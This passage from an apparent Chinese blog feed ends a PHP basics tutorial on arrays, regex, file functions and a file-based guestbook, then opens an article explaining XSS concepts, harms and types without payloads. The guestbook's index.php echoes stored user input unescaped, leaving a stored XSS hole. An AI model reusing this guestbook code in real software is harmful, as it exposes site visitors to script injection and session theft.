&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/6a8ee89827-20201206153555432.png&quot; alt=&quot;20201206153555432&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/05d3110058-20201206153609340.png&quot; alt=&quot;20201206153609340&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;2、&lt;strong&gt;字符串常用函数总结&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/cd1a8a8da1-20201206153625862.png&quot; alt=&quot;20201206153625862&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/d834b98cf9-20201206153707168.png&quot; alt=&quot;20201206153707168&quot; style=&quot;zoom: 67%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/42a9d1ba08-20201206153733923.png&quot; alt=&quot;20201206153733923&quot; style=&quot;zoom:67%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/1f4be6776a-20201206153744372.png&quot; alt=&quot;20201206153744372&quot; style=&quot;zoom: 67%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;3、时间信息函数总结&lt;/strong&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
    
$mytime = getdate();

echo &quot;年 :&quot;.$mytime[&apos;year&apos;].&quot;\n&quot;;

echo &quot;月 :&quot;.$mytime[&apos;mon&apos;].&quot;\n&quot;;

echo &quot;日 :&quot;.$mytime[&apos;mday&apos;].&quot;\n&quot;;

echo &quot;时 :&quot;.$mytime[&apos;hours&apos;].&quot;\n&quot;;

echo &quot;分 :&quot;.$mytime[&apos;minutes&apos;].&quot;\n&quot;;

echo &quot;秒 :&quot;.$mytime[&apos;seconds&apos;].&quot;\n&quot;;

echo &quot;一个小时中的第几钟 :&quot;.$mytime[&apos;minutes&apos;].&quot;\n&quot;;

echo &quot;这是一分钟的第几秒 :&quot;.$mytime[&apos;seconds&apos;].&quot;\n&quot;;

echo &quot;星期名称 :&quot;.$mytime[&apos;weekday&apos;].&quot;\n&quot;;

echo &quot;月份名称 :&quot;.$mytime[&apos;month&apos;].&quot;\n&quot;;

echo &quot;时间戳   :&quot;.$mytime[0].&quot;\n&quot;;

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第五章 PHP数组结构&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;数组的英文是array,可以存入多个不同类型的数据，是一个复合数据类型。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$shu = array(1 , 1.5 , true ,&apos;天王盖地虎，小鸡炖蘑菇&apos;);
echo &apos;&amp;lt;pre&amp;gt;&apos;;
var_dump($shu);
echo &apos;&amp;lt;/pre&amp;gt;&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;在上例中，我们发现我们存入了：整型、浮点、布尔、字符串

注：上例中echo pre这个标签的主要目的是为原样输出，格式展示的更好看，更清晰。

可以用var_dump()打印出来显示看一下效果：

索引数组的下标必须要从0开始吗？
答：这个问题其实不然，索引数组并不一定要从0开始。

那如何能够不从0开始呢？
答：需要用到大家在上面学的一小块知识哟。就是键值对应符。我们来动手写。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$kele = array(&apos;只有不断努力才能博得未来&apos;,10 =&amp;gt; &apos;NoAlike&apos;, &apos;PHP中文网&apos; , &apos;去PHP中文网学PHP&apos;, 19 =&amp;gt; &apos;苹果和梨子我都爱&apos; , &apos;橘子我最爱&apos;);
//打印显示$kele
echo &apos;&amp;lt;pre&amp;gt;&apos;;
var_dump($kele);
echo &apos;&amp;lt;/pre&amp;gt;&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.1 for循环遍历索引数组&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//声明一个数组，值为1到10
$num = array(1,2,3,4,5,6,7,8,9,10);

//按照索引数组的特点，下标从0开始。所以1的下标为0，10的下标为9
echo $num[0].&apos;&amp;lt;br /&amp;gt;&apos;;
echo $num[9].&apos;&amp;lt;br /&amp;gt;&apos;;

//我们可以得到数组中元素的总个数,为10
echo count($num) .&apos;&amp;lt;br /&amp;gt;&apos;;

//遍历这个索引数组的话，我们就可以定义一个变量为$i
//$i 的值为0，从0开始
//可以设定一个循环条件为：$i 在下标的(9)最大值之内循环
for($i = 0 ; $i &amp;lt; count($num) ; $i++){
   echo $num[$i].&apos;&amp;lt;br /&amp;gt;&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;	通过上面的例子，我们就把数组进行了循环。因为下标是从0开始的，定义 i = 0 。 每 次 循 环 的 时 候 让 i=0 。每次循环的时候让 i=0。每次循环的时候让i 加1 ，但是必须要小于10，因为数组下标的最大值为9。	
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.2 常用操作数组函数&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;这些函数，也是面试中基础面试中最爱问到的问题。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/4878dacb51-20201206154108552.png&quot; alt=&quot;20201206154108552&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;补充函数：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/88e5359611-20201206154143206.png&quot; alt=&quot;20201206154143206&quot; style=&quot;zoom:67%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/b44fa8ef3d-20201206154151434.png&quot; alt=&quot;20201206154151434&quot; style=&quot;zoom:67%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例子：弹出数组中的第一个元素&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$mingren = array(&quot;test&quot;, &quot;test1&quot;, &quot;test2&quot;, &quot;test3&quot;);
$dc = array_shift($mingren);
echo $dc .&apos;&amp;lt;br /&amp;gt;&apos;;
print_r($mingren);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第六章 PHP正则表达式&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    正则表达是会在开发中经常看到，它主要用在以下一些地方：匹配邮箱、手机号码、验证码、替换敏感的关键词。例如：涉及政治和骂人的话
    
    PHP的正则表达示定界符的规定如下：定界符，不能用a-zA-Z0-9\ 其他的都可以用。必须成对出现，有开始就有结束。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/e3974a7a27-20201206154330511.png&quot; alt=&quot;20201206154330511&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/dc7a6712a6-20201206154338383.png&quot; alt=&quot;20201206154338383&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/783ecd24c3-20201206154345469.png&quot; alt=&quot;20201206154345469&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/aceadc0fdf-20201206154352720.png&quot; alt=&quot;20201206154352720&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;举例说明正则符号的定义方式：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;   例子				  说明
       
/中间写正则/				正确
       
$中间写正则$				正确
       
%中间写正则%			    正确
       
^中间写正则^			    正确
       
@中间写正则@			    正确
       
(中间写正则)				错误  /\//
       
A中间写正则A			    错误
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;注：\ 是转义字符，如果在以后正则表达示里面需要匹配/，如下：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/ / /
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;这个时候真要匹配/ 的时候，需要把定界符里面的/ 用转义字符转义一下，写成下面的例子：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/ \/ /
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;如果你觉得麻烦，遇到这种需要转义的字符的时候可以把两个正斜线（/ /）定界，改为其他的定界符（# #）。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;正则表达式格式：preg_match ( string $正则 , string $字符串 , array&amp;amp;$结果] )
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;功能：根据正则变量，匹配字符串变量。如果存在则返回匹配的个数，把匹配到的结果放到$结果变量里。如果没有匹配到结果返回0。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$zz = &apos;/wq/&apos;;
$string = &apos;ssssswqaaaaaa&apos;;
if(preg_match($zz, $string, $matches)){
   echo &apos;匹配到了，结果为：&apos;;
   var_dump($matches);
}else{
   echo &apos;没有匹配到&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;我们常用的正则函数有：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/1883554822-20201206154625524.png&quot; alt=&quot;20201206154625524&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第七章 PHP文件系统管理&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;	我们会点鼠标右键删除文件、会control+c（或右键）复制、粘贴文件，会新建一些文件，检测这个文件是不是只读文件。在电脑里面进行的这些操作，在代码里面如果能操作就好了。因为，如果有了这些操作。我们能做很多事情了：可不可以写入修改配置文件、是不是可以做PHP安装的时候检测文件的权限、是不是可以做生成Html文件等等很多不同的操作，总之其他太多太多的地方用到了文件操作。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.1 fopen、fread、fclose操作读取文件&lt;/h3&gt;
&lt;h4&gt;1、readfile读取文件函数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;那如何读取一个文件呢？我们先学一个函数。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;readfile ( string: $文件名)
功能：传入一个文件路径，输出一个文件。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;下面的这一段代码中，只要传入文件名或者指定的文件路径就把文件读取出来了。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   //linux类的读了方式
   readfile(&quot;/home/paul/test.txt&quot;);
   //windows类的读取方式
   readfile(&quot;c:\\oldboy\oldboy\boot.ini&quot;);
?&amp;gt;
注意：上面的代码中windows的斜线是\斜线，可能会转义掉一些字符。因此，我们写的时候写上两个斜线。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、file_get_contents打开文件函数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   $filename = &apos;NoAlike.txt&apos;;
   $filestring = file_get_contents($filename);
   echo $filestring;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、fopen、fread、fclose操作读取文件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;上面file_get_contents打开文件的方式简单、粗暴。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;resource fopen	 	    ( string $文件名, string 模式)

string fread 			( resource $操作资源, int 读取长度)

bool fclose 			( resource $操作资源 )
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;fopen的模式有下面几个，我们来讲一下fopen的模式：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/d6e6b33510-20201206155025301.png&quot; alt=&quot;20201206155025301&quot; style=&quot;zoom: 67%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   //你可以创建一个NoAlike.txt，以只读模式打开
   $fp = fopen(&apos;NoAlike.txt&apos;, &quot;r&quot;);
   //var_dump()操作一下$fp看看效果，输出的是不是只有类型提示的是resource
   var_dump($fp);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.2 PHP创建和修改文件内容&lt;/h3&gt;
&lt;h4&gt;1、file_put_contents写入文件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;先来学习第一种写入文件的方式：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;file_put_contents ( string $文件路径, string $写入数据)

功能：向指定的文件当中写入一个字符串，如果文件不存在则创建文件。返回的是写入的字节长度
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;操作代码演示示例：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   $data = &quot;在PHP中文网学好PHP，妹子票子不再话下！&quot;;
   $numbytes = file_put_contents(&apos;test.txt&apos;, $data);
   if($numbytes){
       echo &apos;写入成功，我们读取看看结果试试：&apos;;
       echo file_get_contents(&apos;test.txt&apos;);
   }else{
       echo &apos;写入失败或者没有权限，注意检查&apos;;
   }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、fwrite配合fopen进行写入操作&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   $filename = &apos;test.txt&apos;;
   $fp= fopen($filename, &quot;w&quot;);
   $len = fwrite($fp, &apos;我是一只来自北方的狼，却在南方冻成了狗&apos;);
   fclose($fp);
   print $len .&apos;字节被写入了\n&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;代码说明：
· 不论有没有新建都会打开文件重新写入
· 原有的文件内容会被覆盖掉
· 文件不存在会创建
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;那我们来对比一下以下几个模式的不同：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/fc7044df80-20201206155232985.png&quot; alt=&quot;20201206155232985&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;7.3 PHP创建临时文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	我们之前创建的文件都是永久文件，而创建临时文件在我们平时的项目开发中也非常有用，创建临时文件的好处：文件操作完成后即删除，不需要去维护这个文件的删除状态。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   //创建了一个临时文件
   $handle = tmpfile();
   //向里面写入了数据
   $numbytes = fwrite($handle, &apos;写入临时文件&apos;);
   //关闭临时文件，文件即被删除
   fclose($handle);
   echo  &apos;向临时文件中写入了&apos;.$numbytes . &apos;个字节&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.4 php移动、拷贝和删除文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;我们日常在处理文件的时候，可以删除文件、重命名文件也可以也可复制文件。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1、重命名文件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;rename($旧名,$新名);

功能：这个函数返回一个bool值，将旧的名字改为新的名字。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;操作示例说明：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   //旧文件名
   $filename = &apos;test.txt&apos;;
   //新文件名
   $filename2 = $filename . &apos;.old&apos;;
   //复制文件
   rename($filename, $filename2);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、复制文件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;复制文件，就相当于是克隆技术，将一个原来的东西再克隆成一个新的东西，两个长得一模一样。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;copy(源文件,目标文件)

功能：将指定路径的源文件，复制一份到目标文件的位置。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;操作示例说明：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   //旧文件名
   $filename = &apos;copy.txt&apos;;
   //新文件名
   $filename2 = $filename . &apos;_backup&apos;;
   //修改名字。
   copy($filename, $filename2);
?&amp;gt;
    
//说明：会通过上面的例子，发现多出来了一个文件。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、删除文件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	删除文件就是将指定路径的一个文件删除，不过这个删除是直接删除。使用的是windows电脑，你在回收站看不到这个文件，你只会发现这个文件消失了。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;unlink(指定路径的文件)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;代码操作示例：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   $filename = &apos;test.txt&apos;;
   if (unlink($filename)) {
       echo  &quot;删除文件成功 $filename!\n&quot;;
   } else {
       echo  &quot;删除 $filename 失败!\n&quot;;
   }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、检测文件属性函数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;假设安装界面的网址是：install.php，安装的锁文件是install.lock。我们就可以检测install.lock文件是否存在。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if(file_exists(&apos;install.lock&apos;)){
   echo &apos;已安装，请不要再次进行安装&apos;;
   exit;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;常用文件属性函数：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/ae72145d34-20201206155727645.png&quot; alt=&quot;20201206155727645&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;5、PHP目录处理函数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;php 目录处理函数处理文件夹的基本思想如下：

1.读取某个路径的时候判断是否是文件夹

2.是文件夹的话，打开指定文件夹，返回文件目录的资源变量

3.使用readdir读取一次目录中的文件，目录指针向后偏移一次

4.使用readdir读取到最后，没有可读的文件返回false

5.关闭文件目录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;我们来学习一比常用函数：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/a556970a79-20201206155849622.png&quot; alt=&quot;20201206155849622&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码演示操作：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//设置打开的目录是D盘
$dir = &quot;d:/&quot;;
//判断是否是文件夹，是文件夹
if (is_dir($dir)) {
   if ($dh = opendir($dir)) {
      //读取到最后返回false，停止循环
      while (($file = readdir($dh)) !== false) {
           echo &quot;文件名为: $file : 文件的类型是: &quot; . filetype($dir . $file) . &quot;&amp;lt;br /&amp;gt;&quot;;
       }
       closedir($dh);
   }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、php文件权限设置&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;chmod 主要是修改文件的的权限
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//修改linux系统/var/wwwroot/某文件权限为755
chmod(&quot;/var/wwwroot/index.html&quot;, 755);  
chmod(&quot;/var/wwwroot/index.html&quot;, &quot;u+rwx,go+rx&quot;); 
chmod(&quot;/somedir/somefile&quot;, 0755); 
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7、php文件路径函数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;我们经常会遇到处理文件路径的情况。例如：

1.文件后缀需要取出来

2.路径需要取出名字不取目录

3.只需要取出路径名中的目录路径

4.或者把网址中的各个部份进行解析取得独立值

5.甚至是自己组成一个url出来
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;很多地方都需要用路径处理类的函数。把常用的路径处理函数为大家做了标注，对着这个路径处理函数进行处理即可：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/1ec0e9160e-20201206160102569.png&quot; alt=&quot;20201206160102569&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码示例说明：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$path_parts = pathinfo(&apos;d:/www/index.inc.php&apos;);
echo &apos;文件目录名：&apos;.$path_parts[&apos;dirname&apos;].&quot;&amp;lt;br /&amp;gt;&quot;;
echo &apos;文件全名：&apos;.$path_parts[&apos;basename&apos;].&quot;&amp;lt;br /&amp;gt;&quot;;
echo &apos;文件扩展名：&apos;.$path_parts[&apos;extension&apos;].&quot;&amp;lt;br /&amp;gt;&quot;;
echo &apos;不包含扩展的文件名：&apos;.$path_parts[&apos;filename&apos;].&quot;&amp;lt;br /&amp;gt;&quot;; 
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8、php实现文件留言本&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;我们来看一下文件结构：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;index.php		展示输入框和留言内容

write.php 		向message.txt写入数据

message.txt 		存入聊天内容
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;编写index.php文件信息：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//设置时区
date_default_timezone_set(&apos;PRC&apos;);
//读了内容
@$string = file_get_contents(&apos;message.txt&apos;);
//如果$string 不为空的时候执行，也就是message.txt中有留言数据
if (!empty($string)) {
    //每一段留言有一个分格符，但是最后多出了一个&amp;amp;^。因此，我们要将&amp;amp;^删掉
    $string = rtrim($string, &apos;&amp;amp;^&apos;);
    //以&amp;amp;^切成数组
    $arr = explode(&apos;&amp;amp;^&apos;, $string);
    //将留言内容读取
    foreach ($arr as $value) {
        //将用户名和内容分开
        list($username, $content, $time) = explode(&apos;$#&apos;, $value);
        echo &apos;用户名为&amp;lt;font color=&quot;gree&quot;&amp;gt;&apos; . $username . &apos;&amp;lt;/font&amp;gt;内容为&amp;lt;font color=&quot;red&quot;&amp;gt;&apos; . $content . &apos;&amp;lt;/font&amp;gt;时间为&apos; . date(&apos;Y-m-d H:i:s&apos;, $time);
        echo &apos;&amp;lt;hr /&amp;gt;&apos;;
    }
}
?&amp;gt;
&amp;lt;h1&amp;gt;基于文件的留言本演示&amp;lt;/h1&amp;gt;
&amp;lt;form action=&quot;write.php&quot; method=&quot;post&quot;&amp;gt;
    用户名：&amp;lt;input type=&quot;text&quot; name=&quot;username&quot; /&amp;gt;&amp;lt;br /&amp;gt;
    留言内容：&amp;lt;textarea  name=&quot;content&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;
    &amp;lt;input type=&quot;submit&quot; value=&quot;提交&quot; /&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;看了刚刚的展示内容，我们知道文件存储时：

1、段与段之间进行了分割

2、内容与用户之前用一个特殊的符号进行了分割
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;下面我们来写write.php写入留言至文件的代码：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//追加方式打开文件
$fp=fopen(&apos;message.txt&apos;,&apos;a&apos;);
//设置时间
$time=time();
//得到用户名
$username=trim($_POST[&apos;username&apos;]);
//得到内容
$content=trim($_POST[&apos;content&apos;]);
//组合写入的字符串：内容和用户之间分开，使用$#
//行与行之间分开，使用&amp;amp;^
$string=$username.&apos;$#&apos;.$content.&apos;$#&apos;.$time.&apos;&amp;amp;^&apos;;
//写入文件
fwrite($fp,$string);
//关闭文件
fclose($fp);
header(&apos;location:index.php&apos;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;	以上便是在PHP的学习过程中需要掌握的一些基础知识，没有接触过的朋友可能比较吃力，但是多花时间去练一练总是好的，然后多看看参考、一些案例，将PHP和HTML很好的结合，能够熟练地运用更好。
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>XSS 跨站脚本漏洞</title><link>https://wangyi187.top/posts/web-11-xss/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-11-xss/</guid><description>0x11 XSS漏洞 ​ 一、XSS攻击简介 ​ XSS全称是Cross Site Scripting即跨站脚本，当目标网站目标用户浏览器渲染HTML文档的过程中，出现了不被预期的</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x11 XSS漏洞&lt;/h1&gt;
&lt;hr /&gt;
&lt;p&gt;​&lt;/p&gt;
&lt;h3&gt;一、XSS攻击简介&lt;/h3&gt;
&lt;p&gt;​	XSS全称是Cross Site Scripting即跨站脚本，当目标网站目标用户浏览器渲染HTML文档的过程中，出现了不被预期的脚本指令并执行时，XSS就发生了。&lt;/p&gt;
&lt;p&gt;​	作为一种HTML注入攻击，XSS攻击的核心思想就是在HTML页面中注入恶意代码，而XSS采用的注入方式是非常巧妙的。在XSS攻击中，一般有三个角色参与：攻击者、目标服务器、受害者的浏览器。&lt;/p&gt;
&lt;p&gt;​	由于有的服务器并没有对用户的输入进行安全方面的验证，攻击者就可以很容易地通过正常的输入手段，夹带进一些恶意的HTML脚本代码。当受害者的浏览器访 问目标服务器上被注入恶意脚本的页面后，由于它对目标服务器的信任，这段恶意脚本的执行不会受到什么阻碍。而此时，攻击者的目的就已经达到了。&lt;/p&gt;
&lt;h3&gt;二、XSS原理&lt;/h3&gt;
&lt;p&gt;​	XSS的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码，当用户浏览该页之时，嵌入其中 Web 里面的脚本代码会被执行，从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。&lt;/p&gt;
&lt;h3&gt;三、XSS危害&lt;/h3&gt;
&lt;p&gt;XSS可以造成的危害有很多，常见的有以下：
1.网络钓鱼，包括获取各类用户账号
2.窃取用户c0okes资料，从而获取用业隐私信息，或利用用户身份进一步对网站执行操作
3.劫持用户（浏览器）会话，从而执行任意操作，例如非法转账、强制发表日志、电子邮件等
4.强制弹出广告页面、刷流量等
5.网页挂马
6.进行大量的客户端攻击，如DDoS等
7.获取客户端信息，如用户的浏览历史、真实叩、开放端口等
8.控制受害者机器向其他网站发起攻击
9.结合其他漏洞，如CSRF,实施进一步危害
10.传播跨站脚本蠕虫&lt;/p&gt;
&lt;h3&gt;四、XSS攻击类型&lt;/h3&gt;
&lt;p&gt;​	根据XSS脚本注入方式的不同，我们可以将XSS攻击简单的分类为反射型XSS、存储型XSS、DOM-based 型、基于字符集的 XSS、基于 Flash 的跨站 XSS、未经验证的跳转 XSS 6种类型。&lt;/p&gt;
&lt;h4&gt;1、反射型XSS（非持久型XSS）&lt;/h4&gt;
&lt;p&gt;​	又称非持久型XSS。之所以称为反射型XSS，是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的：发出请求时，XSS代码出现在URL中，作为输入提交到服务器端，服务器端解析后响应，XSS代码随响应内容一起传回给浏览器，最后浏览器解析执行XSS代码。这个过程像一次反射，故叫反射型XSS。 而称为非持久型XSS，则是因为这种攻击方式具有一次性，由于代码注入的是一个动态产生的页面而不是永久的页面，因此这种攻击方式只在点击链接的时候才产生作用。&lt;/p&gt;
&lt;p&gt;​	攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL，当 URL 地址被打开时，注入脚本被传输到目标服务器上，然后服务器将注入脚本“反射”到受害者的浏览器上，特有的恶意代码参数被 HTML 解析、执行。&lt;/p&gt;
&lt;h4&gt;2、存储型XSS（持久型XSS）&lt;/h4&gt;
&lt;p&gt;​	存储型XSS，又称持久型XSS，他和反射型XSS最大的不同就是，攻击脚本将被永久地存放在目标服务器端（数据库，内存，文件系统等），下次请求目标页面时不用再提交XSS代码。&lt;/p&gt;
